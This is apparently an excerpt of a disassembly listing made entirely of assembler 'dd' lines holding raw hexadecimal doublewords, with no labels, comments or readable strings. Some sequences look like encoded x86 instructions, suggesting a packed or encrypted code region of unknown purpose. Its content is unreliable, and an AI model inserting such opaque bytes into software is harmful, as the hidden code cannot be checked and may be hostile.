		dd 0E8206C5Bh, 29F4E7C0h, 3851B29Bh, 0CF55h, 9A5EB600h
		dd 435CD9F5h, 0E98AE6DBh, 3A07E921h, 75BA6603h,	2D11E236h
		dd 2D418915h, 0AA447C4Eh, 367B2ECBh, 85BD8DE2h,	139016Eh
		dd 1A321B78h, 3A94F8F4h, 621B9411h, 20888E07h, 719A52E8h
		dd 255C5352h, 0D62C040h, 1168A0EEh, 9B708872h, 7B5397AEh
		dd 0C15AE6E3h, 5B28082Dh, 0F038EE0Dh, 0F50DFF9Ch, 8B3993CCh
		dd 5844EACDh, 8C1h, 876CA497h, 2E921E8h, 8F649C6Dh, 9E21AE0h
		dd 977C9466h, 9D6FEDC0h, 1CE18E65h, 9C600FE4h, 18E08F64h
		dd 93AA0BE0h, 25AA2AF6h, 839C3EE8h, 364E3D5Eh, 374F395Ah
		dd 43602D4Eh, 0E40A427Ah, 1A2F84E8h, 88DA4623h,	468EE235h
		dd 4981492Ah, 546C5330h, 0E32B6BAh, 0E126B5A3h,	9B842F43h
		dd 87773404h, 0E5ADA14Fh, 649C6C0Bh, 5ECFD91Dh,	261C3AA6h
		dd 66A225Ah, 800F8EADh,	82699CF9h, 867FE820h, 20823DE3h
		dd 94AC9CE8h, 22EA767Ah, 8B70136Ah, 14FA9D73h, 561E12FCh
		dd 0BF3943Ah, 0D6B38AF3h, 0E820824Ah, 11BAD61Eh, 0F768E7Eh
		dd 9453BDCBh, 19759052h, 1FE98AB7h, 690509E7h, 6647410Ch
		dd 9BB3986Fh, 10281275h, 0C631A6FEh, 2DA8BBF4h,	49304830h
		dd 0A3AF6A8Dh, 0C6AAB6DBh, 23A026Dh, 2A6CBF7Bh,	86CE03C5h
		dd 39C0DA02h, 0F79B7AFEh, 0D1F53859h, 77EC6F65h, 0D9F1D984h
		dd 34FC99A0h, 346F65D2h, 543B90FCh, 0A3C22C64h,	6F65D276h
		dd 4F2A13EAh, 6F65D1E1h, 53364F87h, 6F65D1CDh, 60375B93h
		dd 0E820E875h, 559C6C03h, 65D1F030h, 7038F06Fh,	0B7F8B59Eh
		dd 0DF82ABCEh, 0AE66754Fh, 2E137045h, 98F4F816h, 0AA75F6B7h
		dd 0AE1193B4h, 0E88DF4BCh, 7B3A4815h, 8CED03CBh, 7B3A48A1h
		dd 732AAD8Ah, 0CB6B8A71h
		dd 46A0Fh, 9AFFC600h, 7B3A4096h, 0FDEE824Ah, 35891E02h
		dd 98B17BE2h, 60EE235h,	63E2359Dh, 0E2359CB9h, 0E064294Ah
		dd 796FCEE8h, 38541C88h, 60199617h, 1FC51405h, 251CD4E8h
		dd 0D378CFEEh, 0EB9A50Bh, 42000007h, 0DBB45F77h, 5837DCF4h
		dd 0D3BC576Fh, 513ED5EDh, 93C42F67h, 324A3CBEh,	0B1C9B6D9h
		dd 3149355Ah, 8DC5B5DAh, 9BFEC766h, 0E825AC95h,	5EF6E94Bh
		dd 5A364E3Dh, 0D7395139h, 0B7CEC1FCh, 25A830D2h, 13F830E8h
		dd 38FC3057h, 0A3D32284h, 976142ACh, 0F19D917Fh, 0A9D0DFDEh
		dd 1062A5CCh, 2F18BBEEh, 0BDF5F917h, 9F531C89h,	0A7E69D71h
		dd 9F74BCD9h, 0BC749D71h, 0D7B48DF4h, 4C40AEE6h, 0B2B84520h
		dd 60A8A35Bh, 0A7E8A58Eh, 68551ADEh, 0EE03E2BCh, 0B07E921h
		dd 2F162F43h, 6F59E2EBh, 0C3AF54E6h, 4629DFA6h,	304981A9h
		dd 0B8536B53h, 96AFE7D7h, 12526A19h, 52021EB0h,	6000006h
		dd 9FF01B33h, 1C7398B0h, 97F8132Bh, 157A91A9h, 5700EB23h
		dd 0F60EF87Ah, 758D721Dh, 0F50DF19Eh, 7189711Eh, 67023B9Ah
		dd 0E825ACB9h, 5E120DAFh, 7022219Ah, 0EA8698EBh, 0BEC7C8C5h
		dd 1FF62ADBh, 18F63EE8h, 2B1C8F7Fh, 0D2B55B13h,	9B85E0E9h
		dd 4DE81FF6h, 0E323CD85h, 8FD5AE6Ch, 32193A94h,	0ECFFF41Ah
		dd 4B5817E9h, 931C9990h, 8BC389EAh, 3C056965h, 0A09AC59h
		dd 9F74BCEEh, 0A0A26F6h, 0A9D83EEh, 0F5B0EE0Ah,	5CA6C3BAh
		dd 0CF3FA29h, 0E84B2AC4h, 41F3FA28h, 0F3FA28DAh, 8314931h
		dd 0C79E6BADh, 0A67A66C8h, 0AA000005h, 234CA7DFh, 0A0CF245Ch
		dd 3B54BFD7h, 0B9D63D55h, 0B5CB7CFh, 0BAD2A426h, 39513E51h
		dd 0B9D1BDD2h, 354D3D52h, 23467FDEh, 0E825ACFDh, 485E41E3h
		dd 5E3B424Dh, 0E825A7B4h, 0F5927CB4h, 8C0D0105h, 0E944EC89h
		dd 0EC24E825h, 0DE254368h, 8C487D96h, 6F73961Ch, 5D721ECEh
		dd 37542D62h, 0D1DD334Bh, 847413BDh, 0AB92A74Ch, 266562CEh
		dd 0A2CE06E8h, 2FC1F9C1h, 0A6488048h, 2DC3FBC1h, 0A04E864Ah
		dd 4B3DB8ABh, 0D5904BD0h, 6946ADE5h, 3857AB5Bh,	0B7F0995Dh
		dd 0B357D9BCh, 0C109E825h, 0B88F0D45h, 0F29EB69Bh, 19D83h
		dd 3D5E6000h, 0DBD73951h, 921D98B7h, 969F8EEBh,	0C7A4E81Fh
		dd 222EC0F8h, 0B45A924Eh, 1F9649D5h, 0A1D9A0E8h, 2C64284Fh
		dd 0A0D8A5C2h, 2315C09Bh, 0B6894DB8h, 0B16D1F3Ah, 2B639B63h
		dd 34E51047h, 764F3679h, 0CEED2515h, 0CDA8C4FCh, 0EE09D160h
		dd 4C23C800h, 0CDAA447Ch, 0D2EC5FDh, 7D4D2E90h,	0D0C06045h
		dd 68A0EE09h, 0C93C5920h, 9FF3F3E4h, 54D8B957h,	0ABF3F3E5h
		dd 2245ABE3h, 0B4CB255Dh, 4B1AECEFh, 0C5A6696Ch, 8DC5B4F7h
		dd 4B276F63h, 25275C68h, 533F5C44h, 0BD536B50h,	0E495F9B1h
		dd 2Fh,	424D4807h, 5E3B023Bh, 0E23588D2h, 0C32D6529h, 0F79B53CFh
		dd 1FB86F92h, 57B971E8h, 1FB7E636h, 0E51037E8h,	50FEAC38h
		dd 0BB4438h, 5EA70000h,	1A39513Dh, 0F8F41A32h, 0CF07F794h
		dd 5C744621h, 0ADE5D5B2h, 311D7E43h, 4EF2E7D5h,	3B73E5D4h
		dd 0C443457h, 7A291675h, 10337B93h, 0F3FF1129h,	9C5D349Fh
		dd 0F3E23684h, 9BB3980Bh, 9A1B38D3h, 35F35CD9h,	13E4B0DAh
		dd 511915FBh, 79056019h, 6FE82287h, 82E7DEA7h, 0E822879Eh
		dd 0DFE68A42h, 0E683CABCh, 0E822873Ah, 45AEE62Eh, 162E1370h
		dd 172F197Ah, 760DCD2Eh, 968A24D3h, 3A9h, 4FA4DCAFh, 0CA215920h
		dd 57BCD4A5h, 0D13A5238h, 5FB4CCBEh, 0D5A72508h, 543956BDh
		dd 0D4B8D73Ch, 503857BCh, 4B72D338h, 25AF022Eh,	5B44E6E8h
		dd 0F11A3204h, 7D96AE9Eh, 4D3D5E62h, 10281635h,	172F1F7Ch
		dd 96AE9EF9h, 1A02627Dh, 77E23609h, 0E23608A5h,	16734D48h
		dd 0E236090Ah, 8B659D61h, 9BD31B87h, 0D2B8DBE2h, 4FB3D6BAh
		dd 11E82628h, 0A11C37D9h, 0DBF297EEh, 8DEE1031h, 7E4F5C2Eh
		dd 0ECA4A846h, 7F460E02h, 0CD8863D0h, 16BFA30Dh, 3A000003h
		dd 0B3DC374Fh, 305FB4CCh, 8BE40F47h, 9668DC5h, 0BBEC073Fh
		dd 0EA221496h, 69A16E01h, 0E921ED82h, 659D6D02h, 73162F8Eh
		dd 0E825AFADh, 40E11B3h, 95F21C34h, 0A5866DA5h,	0C3FBCCE8h
		dd 0BDCAED2Dh, 87B60683h, 9BFE87CFh, 0E81FC56Ah, 59C7A29Bh
		dd 0FE81FC5h, 0BF77ABC7h, 0C4EC3051h, 1631E81Fh, 7AA3AE3h
		dd 25463851h, 0A5000000h, 3B424D48h, 1FB7B35Eh,	937DB5E8h
		dd 1FB82AF2h, 21D4F3E8h, 758D7D1Eh, 0FEAA3A19h,	0E5463850h
		dd 0A5000000h, 85773404h, 8CEB054Dh, 0B6C82BAh,	82E50B43h
		dd 6982BAh, 0E2358DE9h,	12717840h, 0F7FB152Dh, 358E4ED2h
		dd 92DA12E2h, 0CE884C79h, 939DF8F9h, 55E2358Bh,	79BE199Dh
		dd 54865FDBh, 49D3BCE3h, 5E764625h, 951A9BB0h, 570C89ECh
		dd 14DCE820h, 0EF31546Dh, 4EE82056h, 0A5A9477Fh, 7BA5C039h
		dd 6DE82057h, 2A81EDA5h, 0D2CF8C09h, 86A0BF29h,	30F48DC5h
		dd 0B506229Fh, 85BCD0D7h, 0D4798E0h, 0F98048EEh, 0E198B09Ah
		dd 4773BDD8h, 0BD75EE0Dh, 23157AD1h, 4E2DD2EBh,	0AA4CD8Bh
		dd 1E416h, 49817400h, 0C6FECDA2h, 4179422Dh, 0DFF7C5AAh
		dd 59715B34h, 4AC8E5B2h, 0CCA34880h, 432CC7FFh,	0C3AC477Fh
		dd 8928C3FBh, 0B14BD5B0h, 0BF1DE825h, 1A3204A0h, 96AE9EF1h
		dd 652B487Dh, 0AE407846h, 9586EAA2h, 66F29A5Eh,	0DA4A2F41h
		dd 931C99B6h, 0CD062EEAh, 123E774Dh, 0DF22477Eh, 81E82065h
		dd 56C6A749h, 0B5E82066h, 395EB0C8h, 8CD43A52h,	0BFEEE01Bh
		dd 84405D98h, 3C3851ACh, 0ADh, 0DC9A5EDFh, 0F0A6371Ch
		dd 0E8D0B3DFh, 6F593ED0h, 21D8B957h, 78E23689h,	0FC937890h
		dd 311AF40Ch, 7B423B74h, 88F92742h, 27EFE236h, 711D3504h
		dd 20907114h, 0AF192E8h, 8A429EF2h, 4C434261h, 6AC95035h
		dd 579FEE0Dh, 437B4D2Eh, 9074593Ah, 80EF8088h, 0A34D05E9h
		dd 30DEF6C4h, 6957743Ch, 0DFB3BF51h, 19311B74h,	8B12AD20h
		dd 7A66C8CDh, 0F1h, 977C9467h, 12F911F8h, 9F748C7Dh, 19F20AF0h
		dd 0A74C8476h, 6D5FDDF0h, 0ECD1BE55h, 6C503FD4h, 0E8D0BF54h
		dd 0A39A3BD0h, 25B25AC6h, 0B3AC0EE8h, 0F11A3204h, 7D96AE9Eh
		dd 1C340462h, 6DA595F2h, 824E2D14h, 8DA8A44Ah, 0E23589A3h
		dd 4AE18D45h, 0D4301C7Fh, 0BC92E5ABh, 4DA3EB30h, 83022D41h
		dd 0EE10750Ch, 0F2E8265Ah, 5AC26E0Bh, 6EA6E826h, 0A9477F4Dh
		dd 3E03EDA5h, 0B759715Dh, 0C4B4D7BBh, 3152678Ch, 0D0DC324Ah
		dd 0D7EFDFBCh, 0C8025839h, 26353B30h, 0AAE2AAB3h, 4FB07441h
		dd 80BAF60Ch, 0DAA2C1ADh, 652B4CA2h, 89BCC32Dh,	3AB2534Dh
		dd 6A563262h, 0F8B0BC52h, 1D99367Ch, 0A8C4C5A1h, 9961FCFFh
		dd 240C6950h, 0C43B310Fh, 0F07290Ch, 20D93B31h,	310EDB45h
		dd 0D458D3Bh, 0F89BAE45h, 1418F60Eh, 1B331B78h,	3E9F5h
		dd 4EBA0000h, 1931045Dh, 90A890F7h, 1D35197Eh, 6FA794F3h
		dd 0FC14E681h, 4B837512h, 0C4FCC2A5h, 447C4D2Ah, 0C6FECDAAh
		dd 0EC830128h, 24348904h, 0C681E689h, 4, 8704EE83h, 685C2434h
		dd 1549h, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 3C895C24h, 49B85024h, 5005F01Fh, 0DB243481h,	5A6B830Eh
		dd 0EDBF281h, 54586B83h, 81243C8Bh, 4C4h, 8685300h, 5B000000h
		dd 1389FB01h, 2434FF5Bh, 4C4835Fh, 5A2434FFh, 0E904C483h
		dd 0FFFB2D4Ch, 0C7C6533Ch, 0B01FCAEDh, 79B851AFh, 305F02Ah
		dd 85E0FFC5h
		dd 0F3529D66h, 0FB77F95Bh, 8C3064C9h, 0FD5FA6C6h, 986A45A0h
		dd 5210A888h, 8B085B53h, 91522064h, 0BB2FAB6Bh,	7D2D36F7h
		dd 6B515EF7h, 9E0ECFFBh, 4E38CB04h, 2A021F1Dh, 30454A49h
		dd 9E2E8147h, 651ECF57h, 0B7791536h, 2B00E4FFh,	635D02D5h
		dd 0E81F4DB9h, 13h, 0A3B8E815h,	0F49F975Dh, 14DBB6F9h
		dd 3EA10E7Ch, 60EE9A81h, 6870FFCh, 81000000h, 0DF21E9C1h
		dd 0F5A6151h, 0C281D8BFh, 5D17h, 5E860h, 60640000h, 0F63065Dh
		dd 8Ah,	850F5B00h, 3, 61A0EB80h, 9E9A8DB9h, 7AC18105h
		dd 0FFA617Ch, 328BF9B7h, 8153F480h, 0ECDF6h, 5E861h, 0B5F70000h
		dd 8B1A0DE5h, 0C6815BFAh, 7165FDFh, 81DE8B66h, 573543EEh
		dd 0D9BF0F54h, 0EE83289h, 0E2000000h, 0AE147D7Ah, 15B882Bh
		dd 0DE2CD343h, 0C0B70FE0h, 14EA8158h, 0F7DF07Dh, 0C281D8B7h
		dd 7DF07D10h, 0AE8h, 0FE8D1600h, 37B9FE83h, 0E8AD377Eh
		dd 9, 2E869005h, 0A448696h, 67D3819Ah, 5B13F3C3h, 850F4958h
		dd 0Fh,	24E9F98Bh, 8F000000h, 8A3B2716h, 813C3566h, 0B56A21D3h
		dd 0FF68E950h, 68DFFFFFh, 0AC8EA3D3h, 270AAB9Ah, 0B21461FFh
		dd 8DFB6429h, 0F02D658Dh, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0BA60539Dh
		dd 670C28D4h, 12E9h, 668F4300h,	80E576A0h, 84B4D580h, 7DB4CCABh
		dd 612AF3FEh, 0DD8D895Eh, 6A05EA0Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0FFEFC356h
		dd 5FCDEE79h, 85C7DC8Ah, 5EA0ACDh, 5E40h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 17h, 0DBC35747h, 0C76F92AFh
		dd 0EA25F585h, 5, 8E900h, 0C1630000h, 113154EDh, 0B5FF6637h
		dd 5EA0D95h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	61C35747h, 0AD460646h, 0EB3CB83Bh, 1995FFEDh, 6A05EA2Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 91DAC357h, 0F6D18554h, 0CFC88166h, 7D958B96h
		dd 6A05EA1Ch, 1595FF00h, 8B05EA10h, 8E1CEBC0h, 63558000h
		dd 0E999D493h, 9A2BB05Bh, 6C8D6CD0h, 2616538h, 59FE23B9h
		dd 0E8509D0Ah, 0Eh, 15F8D9BAh, 7D75CEE2h, 6CD1BBF5h, 0BD31FA9Ch
		dd 5EA06D9h, 0D1B58959h, 8105EA13h, 625BC1h, 95858900h
		dd 6805EA12h, 1878h, 8958D78Bh,	0EA3099BDh, 81318B05h
		dd 0F42B1CF6h, 5DE8029h, 6469EE81h, 958B1237h, 5EA16FDh
		dd 2D6F681h, 95033E3Ah,	5EA231Dh, 0DD9D3156h, 8F05EA1Ch
		dd 5E901h, 0A8F40000h, 83822D09h, 0DF8B04E9h, 0F01E883h
		dd 0FFFFBC85h, 0F59523FFh, 8D05EA0Eh, 0F02EC78Dh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 96B73A9Dh, 80E8B26Dh, 8D8951F2h, 5EA0ADDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 9BC35040h, 0ACD85C7h
		dd 74F805EAh, 958B0000h, 5EA31A1h, 25F585C7h, 5EAh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F85880C3h, 3151B5FFh, 830F05EAh, 13h, 7E8h,	3924CF00h
		dd 221B9A3Ch, 3599D89h,	0FF5805EAh, 0EA2A1995h,	0F1D88105h
		dd 8B7D7BD7h, 0EA3149BDh, 0FF006A05h, 0EA101595h, 0EBC08B05h
		dd 80C20B5Ah, 0A9D3EE87h, 0FE583A14h, 40CDEA0h,	107D5E91h
		dd 36B090FFh, 9AB237CDh, 0E87A7F31h, 16164C77h,	6D8AD068h
		dd 25C5615Eh, 0C97144C3h, 3280A7FEh, 95F014CFh,	0D75DEFBh
		dd 0B5C47D2Ah, 0B2E37094h, 0C38205CEh, 8D84663Bh, 16D04474h
		dd 8E009C72h, 5864B853h, 0EB2C5878h, 9E7D0079h,	0E2218CEFh
		dd 0ABAFD60Fh, 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h
		dd 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh
		dd 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh
		dd 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h
		dd 0B7D65EF3h, 0F600B79Bh, 8995ABAFh, 56F0009Fh, 0B3D7C771h
		dd 711800BEh, 0ADC4D756h, 0EE0173E2h, 0F9E93F7Ah, 6800000Eh
		dd 5F03164h, 0FA4EC9E9h, 326C68FFh, 0BFE905F0h,	68FFFA4Eh
		dd 5F03333h, 0FA4EB5E9h, 348468FFh, 0ABE905F0h,	68FFFA4Eh
		dd 5F034FCh, 0FA4EA1E9h, 35B168FFh, 97E905F0h, 68FFFA4Eh
		dd 5F0364Fh, 0FA4E8DE9h, 36DE68FFh, 83E905F0h, 68FFFA4Eh
		dd 5F037BCh, 0FA4E79E9h, 387068FFh, 6FE905F0h, 68FFFA4Eh
		dd 5F039B2h, 0FA4E65E9h, 3BE568FFh, 5BE905F0h, 68FFFA4Eh
		dd 5F03CD3h, 0FA4E51E9h, 6C1345FFh, 0E88DC238h,	601546BCh
		dd 0EE8BCE34h, 611240BAh, 90129335h, 1FE5B162h,	8A7024D7h
		dd 3BC1954Ah, 0F95307B2h, 96E3D96Bh, 0DA561D46h, 49E86D73h
		dd 0F438D17h, 67221A6Ch, 0E6CF1756h, 7F9CB133h,	6AC95126h
		dd 0EC8DC0CAh, 6D3841B8h, 97568133h, 0B12912BCh, 0CB321EFh
		dd 87790FAFh, 0F1116C75h, 78004DBFh, 842E244Bh,	3Dh, 85F739DDh
		dd 257471D2h, 9FB40658h, 5212BC48h, 201066CAh, 0EE116C38h
		dd 6F65C96Eh, 0C7E34FEAh, 364A6B99h, 8734A668h,	0A6E4472Bh
		dd 0A592F36h, 60AE2E24h, 0BAE340F1h, 0D1h, 83F739E3h, 0B3107CD0h
		dd 3D9140B5h, 0BC10C337h, 3E923FB6h, 4410C134h,	4B524EAh
		dd 1D67C4A8h, 175665F2h, 9AC475F8h, 1F465173h, 0F99539DCh
		dd 8A7B86D4h, 428B7129h, 0AB653B97h, 0B7DB7722h, 8DE8C49Ah
		dd 278486F6h, 500ED722h, 0BC4B55E2h, 2470E812h,	0AFF1CCDDh
		dd 95A70446h, 25865BF4h, 9304ED77h, 0B93E3ED6h,	31E2599Fh
		dd 985F121Ch, 7A16BA5Bh, 0C4CFB516h, 770CCFCCh,	0FB7FB1EFh
		dd 84F60C58h, 630BE4D7h, 8921E82Bh, 0C7358h, 10C70900h
		dd 8439BE44h, 0F4A92AD0h, 7A175AA0h, 0F5A6D42Eh, 0FC8607A1h
		dd 7389DD7Eh, 0F60C58FBh, 7F85D186h, 0A50F5BF6h, 97AF8537h
		dd 8E021D46h, 4EED6D27h, 0F87AB41Ah, 389BF75Bh,	4E1AB73Eh
		dd 421B6E17h, 0F89DD21Ch, 0C1323854h, 5FEDBF1Ch, 12BC4944h
		dd 0B5C36FF7h, 116C37C3h, 0FC50034Bh, 7AD683F6h, 3EDF1C16h
		dd 7CE8B692h, 0F96B2559h, 0E6DE6CF6h, 59116C37h, 5E2A62C1h
		dd 0AE2E240Ah, 0BEh, 49E86DF7h,	896BEFE5h, 0B25B3E70h
		dd 842844D3h, 56EFC5F2h, 21D00517h, 2932DB75h, 0DCCB9087h
		dd 0DB1214B7h, 56CC923Eh, 56FC10E4h, 58FB6317h,	2F714C5Dh
		dd 0BD00F29Dh, 0C945AC12h, 74D05093h, 4F291538h, 1A07990h
		dd 1541D9A2h, 244852BBh, 849BD8F1h, 69CAA657h, 1E401D6Ch
		dd 0D17DB8ACh, 8DD34B0Ch, 9DE6CC64h, 3933855Fh,	0DBB71BBAh
		dd 76E42A78h, 0E76B91C5h, 0B9400734h, 7CD4E829h, 0B6BADh
		dd 28CF0100h, 0AC51867Ch, 2CD102F8h, 0A24F8278h, 2DCE0CF6h
		dd 245EDF79h, 0AB5105B6h, 0DE247023h, 57ADF99Eh, 8D27731Eh
		dd 98D7AD1Fh, 0A62A1D46h, 4EED6D0Fh, 0CC6DE01Ah, 0D039C198h
		dd 996625DBh, 8482213Ah, 60CA051h, 8C7622CFh, 19F0AE4Fh
		dd 0DADFBFF4h, 66135A76h, 309A90Ah, 0D57B2FCAh,	8427D21Bh
		dd 2574E7CBh, 0BDEF0658h, 4B73B3Bh, 70A7DA29h, 783381D3h
		dd 4B12BD3Bh, 729B09D3h, 811565ACh, 502A8957h, 0DAF2625Fh
		dd 0DE805DACh, 4843EF6Ch
		dd 0F565AB15h, 0CCEFFD07h, 264A98A6h, 0CA66FE85h, 0B1EFB6C3h
		dd 5D98CD03h, 2678E00Fh, 0E0B465E8h, 0F40D31Ah,	0C2AEC26Eh
		dd 9F771CF1h, 518028E5h, 0AA4h,	31651A5Eh, 85D184CBh, 0D59FC7Fh
		dd 83D782F7h, 0E5AF979h, 255529A8h, 96D82276h, 94BB1E5h
		dd 75F80256h, 0A83A90C4h, 469A221Ah, 0B019951Dh, 0E549E86Dh
		dd 9EC09DECh, 0EA87CA04h, 68094C46h, 67C4A8C4h,	0BC736E1Dh
		dd 76E62812h, 0A2016DC1h, 0DB027D9h, 0E7018CA1h, 7715DBA8h
		dd 0DA23771Bh, 1AA8F6CFh, 0CD19B91h, 8ED07CE4h,	0F3EB2867h
		dd 2D005EFEh, 0BFEA3507h, 8EF4576Dh, 0B81F2BAh,	0D11C4806h
		dd 2839C527h, 8074C65Ch, 0F30B81E7h, 4091C86Bh,	0C8000000h
		dd 1C421B6Eh, 67403486h, 2BB31756h, 0B768DA88h,	0E312BC2Bh
		dd 0F854D10Ah, 6ECD0905h, 1DD38D15h, 8F6638DFh,	0CD3EDC9Fh
		dd 762E8DF4h, 6B8C02F0h, 28C90C11h, 0A156867Ch,	9CEDC0Dh
		dd 6E850000h, 0AE1C421Bh, 12A64945h, 0E47E20B8h, 36F8CC7Eh
		dd 0D34B1166h, 37453F8Dh, 20B81166h, 0A1508583h, 67955BF5h
		dd 3B3B8F1h, 1E722AE8h,	8732BBBDh, 0ED7222Bh, 9B26E250h
		dd 99700CB5h, 80F2C7FEh, 3E137FD3h, 359697E6h, 0FB3EB04Eh
		dd 0ACC073h, 905E006Ch,	12E8BC5Dh, 9B923EDBh, 27E9B78Eh
		dd 0C1AD01B4h, 51823062h, 2406DC38h, 0D4D48FBCh, 8028EE1Dh
		dd 95351h, 0B067E900h, 24D91EE4h, 94498A70h, 1AB73AC0h
		dd 9546B44Eh, 9CE667C1h, 13E9BD5Eh, 966C38DBh, 1FE5B166h
		dd 0C56F3BD6h, 9B0FE557h, 0EE621D46h, 0AD03947h, 17DDB76Dh
		dd 0C4B4CE6Dh, 491756B0h, 893B6540h, 12A693C7h,	0F23C62FAh
		dd 708ADE7Bh, 0F9F05CFDh, 5F55E7B0h, 88116681h,	0FC787451h
		dd 0FB63142Ah, 0C87BC997h, 7B0CCCC0h, 5D07D0E3h, 0D57DE82Dh
		dd 8DB04h, 0B85F9100h, 3CE116ECh, 0BC619268h, 32DF12E8h
		dd 0BD5E9C66h, 0B4CE4FE9h, 3BC19546h, 0AE5400B3h, 27DD892Eh
		dd 0FD5703AEh, 9AE7DD6Fh, 0D65A1D46h, 11A3397Fh, 1756671Bh
		dd 5355F66Eh, 42DB191Ah, 630F6310h, 0E190C5CFh,	0CF3D7F4Dh
		dd 781D529Ch, 0F99EDED4h, 8A7E3695h, 0FA340E3Dh, 3A7h
		dd 241B6EA3h, 326C00B1h, 0A649B480h, 15FC712h, 4E8D86CFh
		dd 852E03AFh, 734F54BDh, 0E7B3DFB3h, 9539D81Dh,	664C0DE3h
		dd 320B1E11h, 181FF66Ch, 6732B354h, 0E08C31A2h,	4D8A3943h
		dd 0E43D0CCCh, 0AFC3177Eh, 7C235112h, 0B04F7C10h, 0F4E82E4Dh
		dd 8268D5Ch, 9CDC0000h,	2255AFFBh, 9EDD2773h, 2051ABFFh
		dd 9BDF2571h, 8B0AACF8h, 90C477FBh, 6337E46Ah, 0F0A45B99h
		dd 4216C30Ah, 0F4C87AE8h, 471D469Bh, 0E86D62CBh, 0E669AA2Fh
		dd 9BF79B37h, 1C515BF7h, 99DBD17Dh, 11404AE6h, 2466CC60h
		dd 0F5B785B8h, 3D8A7E87h, 0F8FA340Eh, 0A3000002h, 56671F11h
		dd 0C09DEC17h, 2C9E049Eh, 17566758h, 0EA9033ABh, 12A64A68h
		dd 1FD18F17h, 956F3BD6h, 141DB160h, 0FC663805h,	6638764Eh
		dd 0F251C911h, 446112A0h, 8C140CCCh, 2DD90ABFh,	47963EE8h
		dd 788h, 5D09AE22h, 0D98D30A7h,	590DB023h, 0D7832EA3h
		dd 5A0EAD2Dh, 0D1017DFCh, 4A8C7622h, 0D507FDA9h, 498C7622h
		dd 0C456FCA8h, 469D7E76h, 0D47DF11Dh, 0E549E86Dh, 67CB66EFh
		dd 98E51755h, 340E3CF0h, 453F8D17h, 0B817565Fh,	64DA8320h
		dd 83000002h, 0DC7FF739h, 0A89C2E70h, 1B175666h, 364CEF83h
		dd 17566742h, 0B9E7BECBh, 0A64A7E0Bh, 0CB950D12h, 7521D005h
		dd 7AB468Fh, 7C22FB0Eh,	0CC173DCEh, 5B68F00Ch, 0E82DE9B0h
		dd 0F9AD7CD4h, 0B3000006h, 34CE9A3Dh, 0BC4612C3h, 30CA9E3Fh
		dd 0BE4410C1h, 6DCB9F3Ch, 0B76496ECh, 26D519E3h, 0AB4C8872h
		dd 21D005FFh, 0FF4DDF75h, 1D469D05h, 395DF478h,	0F1D56BD0h
		dd 1C70DC83h, 4127E31h,	0AC14E85Ah, 0FF671756h,	66135A5Ch
		dd 0EC8DC0CAh, 6CFF7CB2h, 56ABE6DEh, 0ADC15917h, 4806AE0Eh
		dd 0FA569F1Ch, 67E69B6Fh, 451B77B3h, 89D5478Bh,	9F883056h
		dd 9CF05C30h, 7C9673Fh,	0CB8320D3h, 340EFB3Dh, 749h, 98B61000h
		dd 0EF000001h, 56671D11h, 58071217h, 0B8D47819h, 0C6388AD4h
		dd 3512A649h, 0B83DF3ADh, 79E34D19h, 6637F1CBh,	1AB93911h
		dd 7F75C76Dh, 0F2116638h, 0CE2B066Ah, 356B210Fh, 1B5254F7h
		dd 0CEDBD27Eh, 681BA9F7h, 1B0CCB69h, 960FB083h,	8D25E82Eh
		dd 61B5Ch, 0F89FD100h, 7C2156ACh, 0FCA1D228h, 721F52A8h
		dd 0FD9EDC26h, 0F48E0FA9h, 7B81D586h, 0EE1440F3h, 679DC96Eh
		dd 0BD1743EEh, 9DA79D2Fh, 961A1D46h, 2FE86D3Fh,	0C799F5A8h
		dd 0AD764C2Eh, 0D6757AE5h, 58F97C76h, 0E2125CF4h, 71C3A0D5h
		dd 1757047Bh, 27B517CEh, 0E1631904h, 1B5E18Dh, 340E7277h
		dd 6D12428Ch, 33A7ADC1h, 0E3402C80h, 7BAh, 0D0B6E300h
		dd 0EF000000h, 56671C11h, 39041517h, 4956D567h,	31A912A6h
		dd 8D2CA16Fh, 39D81DD3h, 0B538C29Ah, 36B08436h,	9B031166h
		dd 47525BF7h, 0E192207Eh, 940CCC15h, 2A83F0Ch, 0F45CE82Eh
		dd 56725h, 24DB1D00h, 90458A70h, 18BD3EC4h, 9643B64Ch
		dd 19BA38C2h, 186AEB4Dh, 976D39DAh, 12E8BC5Fh, 93693DE2h
		dd 41EBBF5Ah, 9F8B61D3h, 72FE1D46h, 49E86DDBh, 8352BBE5h
		dd 0E265CA62h, 0A5282E8Dh, 8230AAF4h, 17575DAAh, 8626851Dh
		dd 0A7F4602Eh, 0C170E52Eh, 0BB4DF9ADh, 0CB340F30h, 7, 2DB692h
		dd 6DEF0000h, 0EFE549E8h, 6867CB66h, 30A5F262h,	48F4D581h
		dd 5A000000h, 14E85AC0h, 67175667h, 66B389FFh, 9E061756h
		dd 1BB76894h, 6D71D477h, 0BBE549E8h, 0F2510075h, 5666B788h
		dd 5D007717h, 0DB76FBF1h, 0DF0D5377h, 1CD298BEh, 0DF9D3EDFh
		dd 0B353BAADh, 5F371AB3h, 0F37A7CDFh, 6D4B1246h, 8D1749E8h
		dd 5667453Fh, 1146B817h, 0C0ACC06Ch, 539DC363h,	0DBDE7D20h
		dd 1BA9F7CEh, 12A64990h, 24D504CAh, 41C9E488h, 0AB56E8F8h
		dd 54AAD172h, 0D4DE7223h, 305CF0A1h, 0A06E305Ch, 22D88C2Dh
		dd 9E500EABh, 7F13BF5Ch, 24757CDCh, 86C90759h, 1D177BD7h
